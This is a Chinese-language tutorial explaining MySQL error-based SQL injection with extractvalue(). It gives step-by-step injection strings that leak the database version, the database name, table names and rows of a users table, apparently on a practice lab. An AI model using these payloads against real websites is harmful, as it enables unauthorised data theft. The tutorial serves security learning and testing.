在mysql中,報錯注入就是指透過頁面回報的錯誤訊息,建構適當的語句來取得想要的資料;應用系統未關閉資料庫報錯函數,可以使用extractvalue()函數,從目標XML中傳回包含所查詢值的字串。
本教學操作環境:windows10系統、mysql8.0.22版本、Dell G3電腦。
報錯注入也可以說 是一種盲注------建構 payload 讓訊息透過錯誤提示回顯出。使用聯合查詢無法爆出顯位時可考慮使用報錯注入。
那麼報錯注入是怎麼形成的呢?
首先是應用程式系統未關閉資料庫報錯函數,對於一些SQL語句的錯誤,直接回顯在了頁面上,部分甚至直接洩露資料庫名稱和表名;
其次,必不可少就是後台未對MySQL對應的報錯函數進行過濾
在這裡我使用的是extractvalue()函數,其作用是從目標XML中傳回包含查詢值的字串
EXTRACTVALUE (XML_document, XPath_string):第一個參數:XML_document是String格式,為XML文件物件的名稱; 第二個參數:XPath_string (Xpath格式的字串)
1.取得版本資訊
使用語句 1' and extractvalue(1,concat(0x7e,(select @@version), 0x7e))-- 。 其中concat是拼接()內的參數,0x7e解碼之後為~符號。 -- 為註解符,將原始碼中之後的語句全部註解掉以免發生錯誤。測試之後結果如下:
//concat前的1為extractvalue()函數的第一個參數,可換為任意數字
句
2.取得資料庫名稱
使用語句
1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e))--+,
3.取得表名
1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+. 其中group_concat将tale_name字段的所有行放在一行上显示出来,如下所示
4.取得資料來取得資料表名
1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))--+. 修改其中的limit参数即可获取users表中的不同行内容##學習:
以上是mysql報錯注入是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!